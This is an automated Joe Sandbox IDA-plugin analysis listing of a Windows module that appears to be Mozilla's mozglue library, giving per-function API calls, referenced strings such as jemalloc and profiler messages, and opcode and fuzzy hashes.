Associated: 00000000.00000002.1472235456.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472448493.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472520218.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3577267516
Opcode ID: c95960288068d86f04b76fa726f4aa6daff19bed47796db622199ca1a1209355
Instruction ID: 42e5f96189b943d16cf3ad4597a7d276db56c77201c857be4de90eb1be90c971
Opcode Fuzzy Hash: c95960288068d86f04b76fa726f4aa6daff19bed47796db622199ca1a1209355
Instruction Fuzzy Hash: 2EC29DB1B05741CFD714CF28C480716BBE5AF85328F28C66DE4AA8B7A5D775E841CB82

Function 6CE0E680 Relevance: 31.1, APIs: 22, Instructions: 3648COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00004014), ref: 6CE0E811
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CE0EAA8
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6CE0EBD5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CE0EEF6
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CE0F223
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6CE0F322
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CE10E03
memcpy.VCRUNTIME140(?,?,?,?), ref: 6CE10E54
memcpy.VCRUNTIME140(?,?,?), ref: 6CE10EAE
memcpy.VCRUNTIME140(?,?,?), ref: 6CE10ED4

Memory Dump Source

Source File: 00000000.00000002.1471843414.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1471815069.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472235456.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472448493.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472520218.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: f55dc81ad5f0dad03acd19f1fd554f72bd9094f4066177631a35b8df6eed986d
Instruction ID: 23a1b35e6dfdbf50c680c0eef2423d7fccc3f1b8300799088e1413be0947040a
Opcode Fuzzy Hash: f55dc81ad5f0dad03acd19f1fd554f72bd9094f4066177631a35b8df6eed986d
Instruction Fuzzy Hash: 3163AF71E0425ACFCB04CFA8C8906DDFBB2FF89314F298269D855AB745D730A956CB90

Function 6CDE3E50 Relevance: 27.0, APIs: 13, Strings: 2, Instructions: 765COMMON

Download Yara Rule

APIs

Part of subcall function 6CE07770: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6CDE3E7D,?,?,?,6CDE3E7D,?,?), ref: 6CE0777C

tolower.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000), ref: 6CDE3F17
memset.VCRUNTIME140(?,00000000,00000110), ref: 6CDE3F5C
VerSetConditionMask.NTDLL ref: 6CDE3F8D
VerSetConditionMask.NTDLL ref: 6CDE3F99
VerSetConditionMask.NTDLL ref: 6CDE3FA0
VerSetConditionMask.NTDLL ref: 6CDE3FA7
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6CDE3FB4

Strings

nvd3d9wrap.dll, xrefs: 6CDE4466
nvinit.dll, xrefs: 6CDE4479

Memory Dump Source

Source File: 00000000.00000002.1471843414.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1471815069.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472235456.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472448493.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472520218.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemsettolowerwcslen
String ID: nvd3d9wrap.dll$nvinit.dll
API String ID: 1189858803-2380496106
Opcode ID: 3cfe43df6f7b2226c4e4a14f00d71994cf801fe198025bf993126858461f8902
Instruction ID: 5f792ec40e7c5bac20e35d1b215b97ebaca535482691aa1378af8aebb6dacfab
Opcode Fuzzy Hash: 3cfe43df6f7b2226c4e4a14f00d71994cf801fe198025bf993126858461f8902
Instruction Fuzzy Hash: 2752CF71610B489FD715DB74C980AABB7F9BF45208F04092DD4A79BBA2DB34F909CB60

Function 6CDCED10 Relevance: 25.4, APIs: 16, Instructions: 5407COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00010030), ref: 6CDCEE7A
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6CDCEFB5
memcpy.VCRUNTIME140(?,?,?,?), ref: 6CDD1695
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CDD16B4
memset.VCRUNTIME140(00000002,000000FF,?,?), ref: 6CDD1770
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6CDD1A3E

Memory Dump Source

Source File: 00000000.00000002.1471843414.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1471815069.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472235456.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472448493.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472520218.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: memset$freemallocmemcpy
String ID:
API String ID: 3693777188-0
Opcode ID: 339888f2f8e135bfbde4889b9ccb8265e49edbf037b462dfaeb18590f8ac8e5d
Instruction ID: 16f67e6b1a88ba69bc8df97f09076b57a1fafe285a45dbd343c59ee3db9ceef4
Opcode Fuzzy Hash: 339888f2f8e135bfbde4889b9ccb8265e49edbf037b462dfaeb18590f8ac8e5d
Instruction Fuzzy Hash: 54B30871E04219CFCB14CFA8C890A9DB7B2FF89314F2582A9D459AB755D730AD86CF90

Function 6CDBFEF0 Relevance: 23.8, APIs: 13, Strings: 2, Instructions: 1294memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CE2E7B8), ref: 6CDBFF81
LeaveCriticalSection.KERNEL32(6CE2E7B8), ref: 6CDC022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6CDC0240
EnterCriticalSection.KERNEL32(6CE2E768), ref: 6CDC025B
LeaveCriticalSection.KERNEL32(6CE2E768), ref: 6CDC027B

Strings

MOZ_CRASH(), xrefs: 6CDC0CA7
MOZ_RELEASE_ASSERT(mNode), xrefs: 6CDBFE99, 6CDBFEB7, 6CDBFED3, 6CDC0DB8, 6CDC0DD3, 6CDC19B4, 6CDC1A10

Memory Dump Source

Source File: 00000000.00000002.1471843414.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1471815069.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472235456.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472448493.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472520218.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3566792288
Opcode ID: 07c85ece36bee69afbdbfd23e187150a3ac57d90e84e4e51b11a849fb89d4839
Instruction ID: eaa8214b4004e2607f1e0f7297bce4a9b2fdf70e03d1afe757bf85bd7fd36b24
Opcode Fuzzy Hash: 07c85ece36bee69afbdbfd23e187150a3ac57d90e84e4e51b11a849fb89d4839
Instruction Fuzzy Hash: 07B28C71705751CFD714CF28C590716BBE5AF85328F28C66CE8AA8BBA5C774E841CB82

Function 6CDF5600 Relevance: 22.0, APIs: 6, Strings: 6, Instructions: 950COMMON

Download Yara Rule

Strings

expected a Time entry, xrefs: 6CDF5CB6
schema, xrefs: 6CDF606D
expected a Count entry, xrefs: 6CDF5AC3
name, xrefs: 6CDF5E79, 6CDF5E8F
ProfileBuffer parse error: %s, xrefs: 6CDF5AC8, 6CDF5CBB
data, xrefs: 6CDF6131

Memory Dump Source

Source File: 00000000.00000002.1471843414.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1471815069.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472235456.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472448493.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472520218.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID:
String ID: ProfileBuffer parse error: %s$data$expected a Count entry$expected a Time entry$name$schema
API String ID: 0-2712937348
Opcode ID: f9a661b1e8ec2ef0bc2cf15b7ba9dd924a897ccd305f9425b5f95691f77d76f0
Instruction ID: ca83f35291185803699ea0e0999c3e2a31dd2d10398d4f099faa2c989b466609
Opcode Fuzzy Hash: f9a661b1e8ec2ef0bc2cf15b7ba9dd924a897ccd305f9425b5f95691f77d76f0
Instruction Fuzzy Hash: 93923CB5A083418FD724CF14C49075AB7F1BFC5308F15891DE5AA9BB61EB30E94ACB92

Function 6CDF2E4E Relevance: 19.8, APIs: 8, Strings: 3, Instructions: 579stringCOMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6CDF2ED3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CDF2EE7
MozFormatCodeAddressDetails.MOZGLUE(?,000000FF,00000000,?,?), ref: 6CDF2F0D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CDF3214
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CDF3242
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CDF36BF

Strings

set , xrefs: 6CDF36EC
get , xrefs: 6CDF3205
MOZ_PROFILER_SYMBOLICATE, xrefs: 6CDF378D

Memory Dump Source

Source File: 00000000.00000002.1471843414.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1471815069.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472235456.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472448493.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472520218.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: strlen$AddressCode$DescribeDetailsFormat
String ID: MOZ_PROFILER_SYMBOLICATE$get $set
API String ID: 2257098003-3318126862
Opcode ID: 0a36c235fd963b1447c83f2546867ba66237def1df51d7a840b4c28607202cc7
Instruction ID: d35f38afe8a1dfffc2ff8d3763600e507bda7d0fb6987c428838db01ded86e65
Opcode Fuzzy Hash: 0a36c235fd963b1447c83f2546867ba66237def1df51d7a840b4c28607202cc7
Instruction Fuzzy Hash: B3325DB42083819FD325CF24C4906AEB7E2BFC9318F56881DE5A987761DB30D94ACB53

Function 6CDE7E10 Relevance: 19.7, APIs: 6, Strings: 5, Instructions: 403COMMON

Download Yara Rule

Strings

(pre-xul), xrefs: 6CDE7E88
vl, xrefs: 6CDE8207
schema, xrefs: 6CDE81E3, 6CDE8311
name, xrefs: 6CDE7ECF, 6CDE8335
data, xrefs: 6CDE8280, 6CDE83E1

Memory Dump Source

Source File: 00000000.00000002.1471843414.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1471815069.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472235456.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472448493.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472520218.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: memcpystrlen
String ID: (pre-xul)$data$name$schema$vl
API String ID: 3412268980-1255427622
Opcode ID: 80e267f4a287ebd53b3e0abc817e58cc003293d40e81c2a10bb3e6fd1920080e
Instruction ID: fbc715994b8952f80376af0dbf3531691f417c300370f000aacb9b44c03ebf78
Opcode Fuzzy Hash: 80e267f4a287ebd53b3e0abc817e58cc003293d40e81c2a10bb3e6fd1920080e
Instruction Fuzzy Hash: 3EE171B1A043448BC710CF68C84165BFBE9BF89314F15492DE899E7B90DBB5ED098B92

Function 6CDC5E90 Relevance: 19.2, APIs: 5, Strings: 6, Instructions: 2651COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(-0000000C), ref: 6CDC5EDB
memset.VCRUNTIME140(ewl,000000E5,?), ref: 6CDC5F27
LeaveCriticalSection.KERNEL32(?), ref: 6CDC5FB2
memset.VCRUNTIME140(ewl,000000E5,?), ref: 6CDC61F0
VirtualFree.KERNEL32(-00000001,00100000,00004000), ref: 6CDC7652

Strings

MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6CDC72E3
MOZ_CRASH(), xrefs: 6CDC7BA4
MOZ_RELEASE_ASSERT(mNode), xrefs: 6CDC7BCD, 6CDC7C1F, 6CDC7C34, 6CDC80FD
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6CDC72F8
ewl, xrefs: 6CDC5E9C, 6CDC5F22, 6CDC61ED
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6CDC730D

Memory Dump Source

Source File: 00000000.00000002.1471843414.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1471815069.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472235456.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472448493.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472520218.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: CriticalSectionmemset$EnterFreeLeaveVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)$ewl
API String ID: 2613674957-3113904229
Opcode ID: 0ca7a1c33e074ba3a48b1aed6e0af089f9b7d30d9f601653bad7418f8d24e82c
Instruction ID: acad037efc18d243353e1329b522a5057f39ab7666d1fb9214d63b855a718a1f
Opcode Fuzzy Hash: 0ca7a1c33e074ba3a48b1aed6e0af089f9b7d30d9f601653bad7418f8d24e82c
Instruction Fuzzy Hash: 14336C71705701DFD308CF28C590625BBE6BF85328F2AC6ADE5698B7A5D731E842CB42

Function 6CDCD4D0 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 251COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CE2E784,?,?,?,?,?,?,?,00000000,771B2FE0,00000001,?,6CDDD1C5), ref: 6CDCD4F2
LeaveCriticalSection.KERNEL32(6CE2E784,?,?,?,?,?,?,?,00000000,771B2FE0,00000001,?,6CDDD1C5), ref: 6CDCD50B

Part of subcall function 6CDACFE0: EnterCriticalSection.KERNEL32(6CE2E784), ref: 6CDACFF6
Part of subcall function 6CDACFE0: LeaveCriticalSection.KERNEL32(6CE2E784), ref: 6CDAD026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,771B2FE0,00000001,?,6CDDD1C5), ref: 6CDCD52E
EnterCriticalSection.KERNEL32(6CE2E7DC), ref: 6CDCD690
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CDCD6A6
LeaveCriticalSection.KERNEL32(6CE2E7DC), ref: 6CDCD712
LeaveCriticalSection.KERNEL32(6CE2E784,?,?,?,?,?,?,?,00000000,771B2FE0,00000001,?,6CDDD1C5), ref: 6CDCD751
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CDCD7EA

Strings

: (malloc) Error initializing arena, xrefs: 6CDCD82C
<jemalloc>, xrefs: 6CDCD827

Memory Dump Source

Source File: 00000000.00000002.1471843414.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1471815069.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472235456.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472448493.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472520218.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$K@1@Maybe@_RandomUint64@mozilla@@$CountInitializeSpin
String ID: : (malloc) Error initializing arena$<jemalloc>
API String ID: 2690322072-3894294050
Opcode ID: beda3fae04db25ca493dbd13f9439cbe28477581454d5327049fbc8a44686232
Instruction ID: 8aeed8b2b06b8e7c4b1bcaccaabac63b953868796460615115468ba8ac3ce137
Opcode Fuzzy Hash: beda3fae04db25ca493dbd13f9439cbe28477581454d5327049fbc8a44686232
Instruction Fuzzy Hash: 5191C071B447158FD718CF38C89072AB7F5FB89314F25892EE59A87AA0D734E845CB82

Function 6CDA3480 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 86librarytimeloaderCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,6CDA3284,?,?,6CDC56F6), ref: 6CDA3492
GetProcessTimes.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,6CDA3284,?,?,6CDC56F6), ref: 6CDA34A9
LoadLibraryW.KERNEL32(kernel32.dll,?,?,?,?,?,?,?,?,6CDA3284,?,?,6CDC56F6), ref: 6CDA34EF
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 6CDA350E
__Init_thread_footer.LIBCMT ref: 6CDA3522
__aulldiv.LIBCMT ref: 6CDA3552
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,6CDA3284,?,?,6CDC56F6), ref: 6CDA357C
GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,?,?,6CDA3284,?,?,6CDC56F6), ref: 6CDA3592

Part of subcall function 6CDDAB89: EnterCriticalSection.KERNEL32(6CE2E370,?,?,?,6CDA34DE,6CE2F6CC,?,?,?,?,?,?,?,6CDA3284), ref: 6CDDAB94
Part of subcall function 6CDDAB89: LeaveCriticalSection.KERNEL32(6CE2E370,?,6CDA34DE,6CE2F6CC,?,?,?,?,?,?,?,6CDA3284,?,?,6CDC56F6), ref: 6CDDABD1

Strings

GetSystemTimePreciseAsFileTime, xrefs: 6CDA3508
kernel32.dll, xrefs: 6CDA34EA

Memory Dump Source

Source File: 00000000.00000002.1471843414.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1471815069.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472235456.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472448493.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472520218.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: CriticalLibraryProcessSectionTime$AddressCurrentEnterFileFreeInit_thread_footerLeaveLoadProcSystemTimes__aulldiv
String ID: GetSystemTimePreciseAsFileTime$kernel32.dll
API String ID: 3634367004-706389432
Opcode ID: 237900c027540ed37a6f8c8b6b2d4e13d9b5193ec861446ce2cbe9f4e00f17ba
Instruction ID: 640efca370fe72f4f1d1d7ba3f75ee6c5acf585ce8cb8ffa3b5279dd4b61fc44
Opcode Fuzzy Hash: 237900c027540ed37a6f8c8b6b2d4e13d9b5193ec861446ce2cbe9f4e00f17ba
Instruction Fuzzy Hash: 5E319E71F002199BDF00DFB9C948FAAB7BAFB45305F10441AE506A7660DB7CE905CBA0

Function 6CE04EA0 Relevance: 16.2, APIs: 8, Strings: 1, Instructions: 408sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000007D0), ref: 6CE04EFF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CE04F2E
moz_xmalloc.MOZGLUE ref: 6CE04F52
memset.VCRUNTIME140(00000000,00000000), ref: 6CE04F62
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CE052B2
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CE052E6
Sleep.KERNEL32(00000010), ref: 6CE05481
free.MOZGLUE(?), ref: 6CE05498

Strings

(, xrefs: 6CE05250

Memory Dump Source

Source File: 00000000.00000002.1471843414.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1471815069.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472235456.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472448493.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472520218.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: floor$Sleep$freememsetmoz_xmalloc
String ID: (
API String ID: 4104871533-3887548279
Opcode ID: e926990f9db4059da55ab6651e46e4ae3eb4dd4e7ca1bd92b69d12c0a50de0bf
Instruction ID: 4a790a7c795fb0e57cf881c5f670d161537f55193c34a05cb4389952e567e456
Opcode Fuzzy Hash: e926990f9db4059da55ab6651e46e4ae3eb4dd4e7ca1bd92b69d12c0a50de0bf
Instruction Fuzzy Hash: BEF1FF71A19B508FC717CF38C85062BB7F9AFD6284F058B2EF846A7650DB31D8528B81

Function 6CE05FF0 Relevance: 15.1, APIs: 10, Instructions: 76COMMON

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 6CE06009
??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6CE06024
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(6CDAEE51,?), ref: 6CE06046
OutputDebugStringA.KERNEL32(?,6CDAEE51,?), ref: 6CE06061
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6CE06069
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6CE06073
_dup.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6CE06082
_fdopen.API-MS-WIN-CRT-MATH-L1-1-0(00000000,6CE2148E), ref: 6CE06091
__stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,6CDAEE51,00000000,?), ref: 6CE060BA
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6CE060C4

Memory Dump Source

Source File: 00000000.00000002.1471843414.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1471815069.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472235456.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472448493.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472520218.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: PrintfTarget@mozilla@@$?vprint@DebugDebuggerOutputPresentString__acrt_iob_func__stdio_common_vfprintf_dup_fdopen_filenofclose
String ID:
API String ID: 3835517998-0
Opcode ID: c8161c8b3867c7c9c19599dcae5dee4f795f08e35713516ddcbe28958c1cf0c1
Instruction ID: fa848fe5dfd4d084d0147bc339d089b9bf517f58d2257753a9faf6d802af1b5d
Opcode Fuzzy Hash: c8161c8b3867c7c9c19599dcae5dee4f795f08e35713516ddcbe28958c1cf0c1
Instruction Fuzzy Hash: E221B571A002089FDB205F24DC09BAA7BBCFF45318F108428E85AD7640CB79A559CFE1

Function 6CDC9E50 Relevance: 13.1, APIs: 6, Strings: 1, Instructions: 878COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6CDC9EB8
LeaveCriticalSection.KERNEL32(?), ref: 6CDC9F24
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CDC9F34
LeaveCriticalSection.KERNEL32(?), ref: 6CDCA823
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CDCA83C
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CDCA849

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6CDCA8B1, 6CDCA8D4, 6CDCA8EF

Memory Dump Source

Source File: 00000000.00000002.1471843414.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1471815069.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472235456.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472448493.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472520218.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: CriticalSection$K@1@LeaveMaybe@_RandomUint64@mozilla@@$Entermemset
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 2950001534-1351931279
Opcode ID: ed85c2e2a326f046f24a6980f8ed0be944f4715a7dfb522413a2557389c1b5b9
Instruction ID: d1f083ee91d4eed769a142b401634bd7704411fdb2ff086122ebc0e5d53a1faa
Opcode Fuzzy Hash: ed85c2e2a326f046f24a6980f8ed0be944f4715a7dfb522413a2557389c1b5b9
Instruction Fuzzy Hash: CE726D72A15611CFD704CF28C980615FBE5BF85328F29C76DE8A99B7A1D335E841CB82

Function 6CDF2C10 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 228stringCOMMON

Download Yara Rule

APIs

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6CDF2C31
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6CDF2C61

Part of subcall function 6CDA4DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6CDA4E5A
Part of subcall function 6CDA4DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6CDA4E97

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CDF2C82
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6CDF2E2D

Part of subcall function 6CDB81B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6CDB81DE

Strings

expected a Time entry, xrefs: 6CDF2E36
